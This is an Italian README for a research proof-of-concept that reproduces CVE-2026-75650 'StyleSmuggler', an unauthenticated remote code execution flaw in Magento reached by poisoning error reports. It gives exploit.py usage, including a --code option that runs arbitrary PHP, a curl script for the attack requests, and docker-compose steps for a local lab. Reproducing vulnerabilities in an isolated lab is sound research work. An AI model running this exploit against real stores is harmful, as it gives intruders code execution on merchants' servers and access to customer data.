
PoC Python che riproduce CVE-2026-75650 StyleSmuggler, un RCE non autenticato su Magento tramite avvelenamento dei report e rendering dei pagamenti falliti, con verifica canary.
Repository di ricerca privato per la riproduzione solo HTTP di StyleSmuggler, CVE-2026-75650, contro un laboratorio locale di Magento Open Source.
Leggi la guida tecnica completa in Magento StyleSmuggler RCE: Report Poisoning to Code Execution.
Il PoC Python esegue la sequenza completa non autenticata:
type, text e styles nella
query string;Non copia mai un helper nel container né invoca lo scanner tramite Docker. La libreria standard di Python è sufficiente.
python3 exploit.py --target http://localhost:18082
L'output finale deve contenere RCE VERIFIED e lo stesso marcatore fresco
STYLESMUGGLER_RUN_... stampato in precedenza in quella esecuzione. Un canary
esistente non può soddisfare il controllo perché ogni esecuzione genera un nuovo marcatore.
Il percorso del report deve essere il percorso visto dal processo PHP di destinazione. Sovrascrivilo quando Magento usa un'altra document root:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
Passa istruzioni PHP senza <?php o ?>:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
Il PoC scrive il suo marcatore di verifica fresco prima di eseguire il frammento fornito e verifica comunque quel marcatore in seguito.
Ogni richiesta, inclusi l'avvelenamento del report e il recupero finale del canary, può essere inviata attraverso un proxy HTTP:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
Aggiungi --proxy-insecure per un target HTTPS il cui certificato intercettato non è
considerato attendibile da Python.
curl_failed_payment.sh esegue le quattro richieste della Fase 2 ed etichetta il
componente Magento raggiunto da ciascuna richiesta. Richiede curl, jq e
openssl:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
Imposta un altro target o listener Burp tramite variabili d'ambiente:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml fornisce servizi isolati MySQL, OpenSearch e PHP/Apache
su 127.0.0.1:18082. Si aspetta un albero sorgente di Magento installato in
./magento2-src.
La validazione finale pulita ha usato il commit di Magento:
f8405be831efa461ec18cc5a637cd98afa767015
Clona il sorgente e installa le sue dipendenze Composer prima di eseguire il
normale processo setup:install di Magento:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
Dopo che Magento è installato con host del database db, host OpenSearch
opensearch e URL di base http://localhost:18082/, avvia il servizio web:
docker compose up -d web
docker compose ps